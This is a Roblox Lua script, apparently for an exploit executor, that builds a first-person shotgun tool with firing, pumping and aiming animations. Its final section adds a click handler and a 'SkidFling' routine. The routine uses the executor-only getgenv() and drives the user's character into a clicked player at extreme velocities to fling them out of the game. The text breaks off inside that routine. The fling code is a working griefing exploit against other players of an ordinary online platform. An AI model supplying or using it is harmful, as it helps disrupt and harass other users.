		Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
		mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.380008698, -0.553588867, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2779999, 237.785995, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.222222224, 0.611111104),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.291633606, 0.152648926, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3100014, 237.886993, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.111111112, 0.388888896),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.324546814, 0.051940918, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.972, 34.413002, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.111111112, 0.166666672),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0220031738, 0.430156708, -0.237121582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2769966, 237.886002, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.222222224, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.291534424, 0.0526275635, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.016006, 34.413002, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.111111112, 0.166666672),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(-0.0220031738, 0.430156708, -0.237121582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		GL = New("Part",Remington_Model,"GL",{BrickColor = BrickColor.new("Lime green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.018005, 34.4080009, 238.164001, -2.55810937e-005, 0.99999541, 4.44010794e-007, 0.00644205138, -2.61311766e-006, 0.999974191, 0.999975204, 2.87519579e-005, -0.00644677132),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0, 1, 0),})
		Mesh = New("BlockMesh",GL,"Mesh",{Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0700000003),})
		Fire = New("Fire",GL,"Fire",{Size = 30,Color = Color3.new(1, 0.678431, 0),Enabled = false,Heat = 25,SecondaryColor = Color3.new(1, 0, 0),})
		mot = New("Motor",GL,"mot",{Part0 = GL,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -2.55811137e-005, 0.00644209515, 0.999978006, 0.999996126, -2.61312243e-006, 2.87520379e-005, 4.4401105e-007, 0.999976337, -0.00644675922),C1 = CFrame.new(-0.0240020752, 0.425041199, -0.22416687, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
	
	
		local CamModel = Instance.new('Model',workspace.CurrentCamera)
		CamModel.Name = Plr.Name
		Instance.new('Humanoid',CamModel)
		humanoid.Died:connect(function()
			CamModel:Destroy()
			Plr.CameraMode = 'Classic'
			game:service'UserInputService'.MouseIconEnabled = true
		end)
	
		ypcall(function()
			Char.Shirt:Clone().Parent = CamModel
		end)
	
		-------------------------------------------------------------
		local fRemington_Model = Remington_Model:Clone()---------------------------------
		fRemington_Model.Parent = CamModel-------------------------------------
		--fRemington_Model.Mag:Destroy()-----------------------------------------
		--fRemington_Model.Mag2:Destroy()----------------------------------------
		local fRemington_ModelW = Weld(Remington_Model.Handle,fRemington_Model.Handle,CF(0,0,0))---
		for index,obj in next,fRemington_Model:children() do-------------------
			if obj:IsA'Part' then----------------------------------------
				obj.CanCollide = false---------------------------------------
			end;end;-----------------------------------------------------
		-------------------------------------------------------------
		local frarm = rarm:Clone()-----------------------------------
		frarm.CanCollide = false-------------------------------------
		frarm.FormFactor = 3-----------------------------------------
		frarm.Size = Vector3.new(.7,3,.7)--------------------------
		frarm.Parent = CamModel--------------------------------------
		local frarmW = Weld(rarm,frarm,CF(0,0,0))--------------------
		-------------------------------------------------------------
		local flarm = larm:Clone()-----------------------------------
		flarm.CanCollide = false-------------------------------------
		flarm.FormFactor = 3-----------------------------------------
		flarm.Size = Vector3.new(.7,3,.7)--------------------------
		flarm.Parent = CamModel--------------------------------------
		local flarmW = Weld(larm,flarm,CF(0,0,0))--------------------
		-------------------------------------------------------------
		clerp = function(c1,c2,al)
			local com1 = {c1.X,c1.Y,c1.Z,c1:toEulerAnglesXYZ()}
			local com2 = {c2.X,c2.Y,c2.Z,c2:toEulerAnglesXYZ()}
			for i,v in pairs(com1) do 
				com1[i] = v+(com2[i]-v)*al
			end
			return CF(com1[1],com1[2],com1[3]) * Angles(select(4,unpack(com1)))
		end
		lerp = function(c1,c2,al)
			return c1:lerp(c2,al)
		end;
	
		NewSound = function(Parent, Id)
			local Sound = Instance.new('Sound',Parent)
			Sound.SoundId = 'rbxassetid://'..Id
			return Sound
		end
	
		local lRS = game:service'RunService'.RenderStepped
	
		local RAW = Weld(head,ra,CF(-1.1, 0.41, 0)*Angles(rad(-45), rad(0), 0))
		local LAW = Weld(rarm,la,CF(1.95,0,0)*Angles(rad(3), rad(0), rad(-45)))
		--[[
		local RAW = Weld(torso,ra,CF(-1.1, 0.41, 0.51)*Angles(rad(-90), rad(0), 0))
		local LAW = Weld(rarm,la,CF(1.6,0,0)*Angles(rad(3), rad(0), rad(-45)))
		]]
		local HW = Weld(torso,hed,CF(0,-1.5,0)*Angles(0,rad(0),0))
		local TW = Weld(root,torso,CF(0,0,0))
		local HandleWeld = Weld(rarm,Handle,Angles(rad(90),0,0)*CF(.3,.5,.4))
		local neck = torso:WaitForChild'Neck'
		local Debounce = false
	
		local SFX = function(Parent,Type)
			Type = tostring(Type:lower())
			local Sound = Instance.new('Sound',Parent)
			game.Debris:AddItem(Sound,10)
			if Type == 'gunshot' then
				Sound.SoundId = 'rbxassetid://265294743'
				--print'gs'
			elseif Type == 'reload' then
				Sound.SoundId = 'rbxassetid://137563489'
			elseif Type == 'shellin' then
				Sound.SoundId = 'rbxassetid://163915632'
				--print'si'
			end
			return Sound
		end;
	
		Reload = function()
		end;
	
		Fire = function(TrailBool)
			TrailBool = true
			for bullet = 0, 5 do
				spawn(function()
					if char.Humanoid.Health < 1 then return end
					local rayPart         = Instance.new("Part", workspace)
					rayPart.Name          = "RayPart"
					rayPart.BrickColor    = BrickColor.new'Deep orange'
					rayPart.Anchored      = true
					rayPart.CanCollide    = false
					rayPart.TopSurface    = Enum.SurfaceType.Smooth
					rayPart.BottomSurface = Enum.SurfaceType.Smooth
					rayPart.formFactor    = Enum.FormFactor.Custom
					rayPart.Size          = Vector3.new(0.2, 0.2, 4)
					rayPart.Material = 'Neon'
					--print'bul created'
	
					Instance.new("BlockMesh", rayPart).Scale = Vector3.new(0.2, 0.2, 0.5)
	
	
	
					local bulletposition = (Barrel.CFrame*CF(0,3,0)).p
					local bulletvelocity = (Vector3.new(math.random(-spread,spread), math.random(-spread,spread), math.random(-spread,spread)))+( (Barrel.CFrame*CF(0,500,0)).p - bulletposition).unit*1000
					local bulletlastposition = bulletposition
					rayPart.CFrame = CFrame.new( bulletposition, bulletposition+bulletvelocity )
					--print'set cf'
					while true do
						local dt = wait()
						bulletlastposition = bulletposition
						bulletvelocity = bulletvelocity + (Vector3.new(0, 0, 0)*dt)
						bulletposition = bulletposition + (bulletvelocity*dt)
						local Tbl = { char, rayPart,Remington_Model,fRemington_Model}  
						local ray = Ray.new(bulletlastposition,  (bulletposition - bulletlastposition))
						local hit, hitposition = workspace:FindPartOnRayWithIgnoreList( ray, Tbl )
						--print'made ray'
						if TrailBool == true and rayPart.Parent ~= nil then
							local dst = (bulletlastposition-bulletposition).magnitude
							local Trl = Instance.new('Part',workspace)
							table.insert(Tbl, Trl)
							local t = Trl
							t.FormFactor = 3
							t.Size = Vector3.new(.2,.2,dst)
							t.CFrame = CFrame.new(bulletlastposition,bulletposition) * CF(0,0,-dst/2)
							t.Material = 272
							t.CanCollide = false
							t.Color = rayPart.Color
							t.Transparency = .1
							--reclr(t)
							t.Anchored = true
							local msh = Instance.new('BlockMesh',t)
							msh.Scale = Vector3.new(.25,.25,1)
							spawn(function()
								wait()
								local nmb = 20
								for i = 0,nmb do
									t.Transparency = t.Transparency + (1/nmb)
									game:service'RunService'.Stepped:wait()
								end
								t:Destroy()
							end)   
						end
						--print'passed trail'
						if (torso.Position - rayPart.Position).magnitude > 200 then
							rayPart:Destroy()
							break
						end
	
	
						if hit then
							if hit.Parent:findFirstChild("Humanoid") ~= nil then
								if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
	
								if hit.Parent:findFirstChild("Humanoid").Health <= 0 then
									rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
									rayPart:Destroy()
	
									return end
							end
							if hit.Parent:findFirstChild("Humanoid") ~= nil then
								if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
								ypcall(function()
									HMSound:Play()
									HitM.ImageTransparency = 0
									wait(.1/1.5)
									HitM.ImageTransparency = 1
								end)
								if not hit.Parent then return end
								hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
							end
							if hit.Name == 'Head' and hit.Parent:findFirstChild("Humanoid") ~= nil then
								if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
								spawn(function()
									wait(.1)
									if hit.Parent:findFirstChild("Humanoid").Health <= 0 then
										local s = Instance.new('Sound',hit)
										s.SoundId = 'rbxassetid://142445692'
										s:Play()
										s:Destroy()
									end
								end)
							end
							if hit.Parent:IsA("Hat") and hit.Parent.Parent:findFirstChild("Humanoid") ~= nil then
								if not hit.Parent.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
								hit:BreakJoints()
							end
							bulletposition = hitposition
							rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
							rayPart:Destroy()
							break
						end
						rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
	
					end
				end)				
			end
			spawn(function()
				spawn(function()
					local knb = 3
					for i = 1,knb do
						CurCam.FieldOfView = CurCam.FieldOfView + 1
						game:service'RunService'.Stepped:wait()
					end
					for i = 1,knb do
						CurCam.FieldOfView = CurCam.FieldOfView - 1
						game:service'RunService'.Stepped:wait()
					end
				end)
				local a,b = math.random(13,21),math.random(-12,12)
				for i = 1,4 do
					CurCam.CoordinateFrame = CurCam.CoordinateFrame:lerp(CurCam.CoordinateFrame*Angles(rad(a),rad(b),0),.1)
					game:service'RunService'.Stepped:wait()
				end;end)
			wait(0.05)
		end
	
		Pump = function()
			for i = 1,5 do
				CurrentRightArmAngle = clerp(CurrentRightArmAngle,CF(0,-.55,-.5)*Angles(rad(20),0,0),.85)
				CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-1.25,0),.95)
				wait()
			end
			local GS = SFX(rarm,'reload')
			GS.Volume = 1
			GS.Pitch = 1.25
			GS:Play()
	
			for i = 1,5 do
				CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-.45,0),.95)
				wait()
			end
			------------------
			for index,obj in next, Remington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'
							mot.C0 = mot.C0 * CF(0,0,.5)
						end
					end)end
			end
			for index,obj in next, Remington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'
							mot.C0 = mot.C0 * CF(0,0,.5)
						end
					end)end
			end
			------------------
			for index,obj in next, Remington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'
							for i = 1,5 do
								wait()
								mot.C0 = clerp(mot.C0,CF(0,.25,0)*Angles(rad(90),0,0),.5)
							end end
					end)end
			end
			for index,obj in next, fRemington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'
							for i = 1,5 do
								wait()
								mot.C0 = clerp(mot.C0,CF(0,.25,0)*Angles(rad(90),0,0),.5)
							end
						end
					end)end
			end
			------------------
			for i = 1,5 do
				CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-1.25,0),.95)
				wait()
			end
			------------------
			for index,obj in next, Remington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'
							for i = 1,5 do
								wait()
								mot.C0 = clerp(mot.C0,CF(0,0,0)*Angles(rad(90),0,0),.5)
							end end
					end)end
			end
			for index,obj in next, fRemington_Model:children() do
				if obj.Name == 'PumpPart' then
					spawn(function()
						if obj:FindFirstChild'mot' then
							local mot = obj:FindFirstChild'mot'
							--print'found mot'\
							for i = 1,5 do
								wait()
								mot.C0 = clerp(mot.C0,CF(0,0,0)*Angles(rad(90),0,0),.5)
							end end
					end)end
			end
			------------------
			wait()
			for i = 1,7 do
				CurrentRightArmAngle = clerp(CurrentRightArmAngle,CF(0,0,0)*Angles(0,0,0),.85)
				CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,0,0),.95)
				wait()
			end
		end;
	
		Recoil = function(Int)
			for i = 1,Int do
				RTilt = i
				wait()
			end
			for i = 1,Int do
				RTilt = Int-i
				wait()
			end
		end;
	
		CanFire = true
		Reloading = false
	
		local CurrentRightArmAngle2 = CF(0,0,0)
		local sp = spread
		local Aimin = false
	
		AimIn = function()
			sway = false
			CurCam.FieldOfView = 45
			game:service'RunService'.Stepped:wait()
			CurCam.FieldOfView = 35
			Aimin = true
			for i = 1,5 do
				CurrentRightArmAngle2 = clerp(CurrentRightArmAngle2,CF(-1.15,0,-.2)*Angles(0,0,0),.8)
				game:service'RunService'.Stepped:wait()
			end
			spread = spread - (sp/2)
		end
	
		AimOut = function()
			sway = true
			CurCam.FieldOfView = 45
			game:service'RunService'.Stepped:wait()
			CurCam.FieldOfView = 60
			Aimin = false
			for i = 1,5 do
				CurrentRightArmAngle2 = clerp(CurrentRightArmAngle2,CF(0,0,0)*Angles(0,0,0),.8)
				game:service'RunService'.Stepped:wait()
			end
			spread = sp
		end
	
		CanAimAndShoot = true
		Mouse.Button1Down:connect(function()
			if Reloading == false and CanFire == true and CanAimAndShoot then
				CanFire = false
				local GS = SFX(rarm,'GunShot')
				GS.Volume = 1
				GS.Pitch = 1.25
				GS:Play()
				Fire(false)
				spawn(function()
					--Recoil(20)
				end)
				Pump()
				CanFire = true
			end
		end)
	
		Mouse.Button1Up:connect(function()
			MouseDown = false
		end)
	
		Mouse.Button2Down:connect(function()
			Mouse2Down = true;
			if CanAimAndShoot then
				AimIn()
			end
		end)
	
		Mouse.Button2Up:connect(function()
			Mouse2Down = false;
			if CanAimAndShoot then
				AimOut()
			end
		end)
	
		local runnin = false
		Mouse.KeyDown:connect(function(k)
			kb = k:byte()
			k = k:lower()
			if k == 'q' and CanAimAndShoot then
				AimIn()
			elseif kb == 48 then
				runnin = true
			end
		end)
	
		Mouse.KeyUp:connect(function(k)
			kb = k:byte()
			k = k:lower()
			if k == 'q' and CanAimAndShoot then
				AimOut()
			elseif kb == 48 then
				runnin = false
			end
		end)
	
		MakeGui = function(Scale)
			Gui = Instance.new('ScreenGui',Plr:WaitForChild'PlayerGui')
			HitM = Instance.new('ImageLabel',Gui)
			HitM.Size = UDim2.new(0,85*2,0,85*2)
			HitM.Position = UDim2.new(.5,-85,.5,-115)
			HitM.BackgroundTransparency = 1
			HitM.ImageTransparency = 1
			HitM.Image = 'rbxassetid://176067512'
			Frame = Instance.new('Frame',Gui)
			Ammo = Instance.new('TextLabel',Frame)
			Stored = Instance.new('TextLabel',Frame)
			-------------
			Frame.Size = UDim2.new(0,60*Scale,0,25*Scale)
			Frame.BackgroundTransparency = .75
			Frame.BorderSizePixel = 0
			Frame.BackgroundColor3 = Color3.new(255,255,255)
			Frame.Position = UDim2.new(1,-10+(-60*Scale),1,-10+(-25*Scale))
			-------------
			Ammo.Size = UDim2.new(.487,3,.72,0)
			Ammo.BackgroundTransparency = 1
			Ammo.TextColor3 = Color3.new(-1,-1,-1)
			Ammo.FontSize = 'Size28'
			Ammo.Font = 'SourceSansBold'
			Ammo.Text = ''
			-------------
			Stored.Size = UDim2.new(.4,3,.5,0)
			Stored.Position = UDim2.new(.6,-4,.35,0)
			Stored.BackgroundTransparency = 1
			Stored.TextColor3 = Color3.new(-1,-1,-1)
			Stored.FontSize = 'Size28'
			Stored.Font = 'SourceSansBold'
			Stored.Text = ''
			-------------
			Mode = Instance.new('TextLabel',Frame)
			Mode.Size = UDim2.new(.4,3,.5,0)
			Mode.Position = UDim2.new(.6,-4,0,0)
			Mode.BackgroundTransparency = 1
			Mode.TextColor3 = Color3.new(-1,-1,-1)
			Mode.FontSize = 'Size24'
			Mode.Font = 'SourceSansLight'
			Mode.Text = '[ SEMI ]'
			-------------
			Slash = Instance.new('TextLabel',Frame)
			Slash.Size = UDim2.new(.4,3,.5,0)
			Slash.Position = UDim2.new(.3,0,.24,0)
			Slash.BackgroundTransparency = 1
			Slash.TextColor3 = Color3.new(-1,-1,-1)
			Slash.FontSize = 'Size60'
			Slash.Font = 'SourceSansBold'
			Slash.Rotation = 5
			Slash.Text = '/'
			-------------
		end;
	
		HW.C0 = torso.CFrame:toObjectSpace(head.CFrame)
	
		MakeGui(3)
	
		local LKPart = torso
		local Camera = workspace.CurrentCamera
		local CurrentRightArmAngle3 = CF(0,0,0)
	
		MoveArms = function(mouse)
			mouse=Mouse
			local dir = -math.asin(mouse.UnitRay.Direction.unit.y)
			HW.C1 = clerp(HW.C1,Angles(dir,0,0),.5)
			RAW.C0 = clerp(RAW.C0,CF(.35,-1,0) * Angles(rad(45), 0, 0)*(CurrentRightArmAngle)*(CurrentRightArmAngle2)*(CurrentRightArmAngle3),.5)
	
			--[[
			local Target = Camera.CoordinateFrame * CFrame.new(0, 0, -95)
			local headpos = (ts.CFrame * CFrame.new(0,2,0)).p
			RAW.C1 = lerp(RAW.C1,((CFrame.new(headpos, Target.p) - headpos):inverse()) * (ts.CFrame - ts.Position)*(CurrentRightArmAngle)*(CurrentRightArmAngle2),.3)
			local TorsoTarget = CFrame.new(Target.x, ts.CFrame.y, Target.z)
			ts.CFrame = CFrame.new(ts.CFrame.p, TorsoTarget.p)
			--]]
		end
	
		local State = 'Idle'
		local DebounceState = false
		game:service'RunService'.RenderStepped:connect(function()
	
			LAW.C0 = clerp(LAW.C0,(CurrentLeftArmAngle),.5)
	
			MoveArms()
			Camera = workspace.CurrentCamera
	
			if runnin == true then
				CanAimAndShoot = false
				if Aimin == true and CanAimAndShoot == false then
					AimOut()
				end
				hum.WalkSpeed = 30 else 
				CanAimAndShoot = true
				hum.WalkSpeed = 20 end
	
			if (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 15 and DebounceState == false then
				State = 'Idle'
				--print'Idle'
			elseif (torso.Velocity*Vector3.new(1, 0, 1)).magnitude >= 15 and (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 26 and DebounceState == false then
				State = 'Walking'
				--print'Walking'
			elseif (torso.Velocity*Vector3.new(1, 1, 1)).magnitude >= 26 and DebounceState == false then
				State = 'Running'
				--print'Running'
			end		
	
			if State == 'Idle' then
				if sway then
					CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(0,sin(tick()*(4))/25,0),.5)
				else
					CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(0,sin(tick())/35,0),.01)
				end
			elseif State == 'Walking' then
				CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(sin(tick()*8)/20,sin(tick()*(8*2))/20,0),.5)
			elseif State == 'Running' then
				CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(sin(tick()*11)/20,-1+sin(tick()*(11*2))/20,.2)*Angles(rad(45),rad(20),rad(-10)),.5)
			elseif State == 'Testing' then
	
			end
	
		end)
	
		Plr.CameraMode = 'LockFirstPerson'
		Plr.Chatted:connect(function(msg)
		--[[if msg == 'r-|' then
		Plr.CameraMode = 'Classic'
		CamModel:Destroy()
		Plr.Character:BreakJoints()
		end--]]
		end)
	
		--print'To fix your camera and kill your character, say "r-|"'
	
		----
	
	
		local Players = game:GetService("Players")
		local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
	
		Mouse.Button1Down:Connect(function()
			local Target = Mouse.Target
			if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
				local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
				local player = game.Players.LocalPlayer
				local Targets = {PlayerName}
	
				local Players = game:GetService("Players")
				local Player = Players.LocalPlayer
	
				local AllBool = false
	
				local GetPlayer = function(Name)
					Name = Name:lower()
					if Name == "all" or Name == "others" then
						AllBool = true
						return
					elseif Name == "random" then
						local GetPlayers = Players:GetPlayers()
						if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
						return GetPlayers[math.random(#GetPlayers)]
					elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
						for _,x in next, Players:GetPlayers() do
							if x ~= Player then
								if x.Name:lower():match("^"..Name) then
									return x;
								elseif x.DisplayName:lower():match("^"..Name) then
									return x;
								end
							end
						end
					else
						return
					end
				end
	
				local Message = function(_Title, _Text, Time)
					print(_Title)
					print(_Text)
					print(Time)
				end
	
				local SkidFling = function(TargetPlayer)
					local Character = Player.Character
					local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
					local RootPart = Humanoid and Humanoid.RootPart
	
					local TCharacter = TargetPlayer.Character
					local THumanoid
					local TRootPart
					local THead
					local Accessory
					local Handle
	
					if TCharacter:FindFirstChildOfClass("Humanoid") then
						THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
					end
					if THumanoid and THumanoid.RootPart then
						TRootPart = THumanoid.RootPart
					end
					if TCharacter:FindFirstChild("Head") then
						THead = TCharacter.Head
					end
					if TCharacter:FindFirstChildOfClass("Accessory") then
						Accessory = TCharacter:FindFirstChildOfClass("Accessory")
					end
					if Accessoy and Accessory:FindFirstChild("Handle") then
						Handle = Accessory.Handle
					end
	
					if Character and Humanoid and RootPart then
						if RootPart.Velocity.Magnitude < 50 then
							getgenv().OldPos = RootPart.CFrame
						end
						if THumanoid and THumanoid.Sit and not AllBool then
						end
						if THead then
							workspace.CurrentCamera.CameraSubject = THead
						elseif not THead and Handle then
							workspace.CurrentCamera.CameraSubject = Handle
						elseif THumanoid and TRootPart then
							workspace.CurrentCamera.CameraSubject = THumanoid
						end
						if not TCharacter:FindFirstChildWhichIsA("BasePart") then
							return
						end
	
						local FPos = function(BasePart, Pos, Ang)
							RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
							Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
							RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
							RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
						end
	
						local SFBasePart = function(BasePart)
							local TimeToWait = 2
							local Time = tick()
							local Angle = 0
	
							repeat
								if RootPart and THumanoid then
									if BasePart.Velocity.Magnitude < 50 then
										Angle = Angle + 100
	
										FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
										task.wait()
									else
										FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
										task.wait()
	
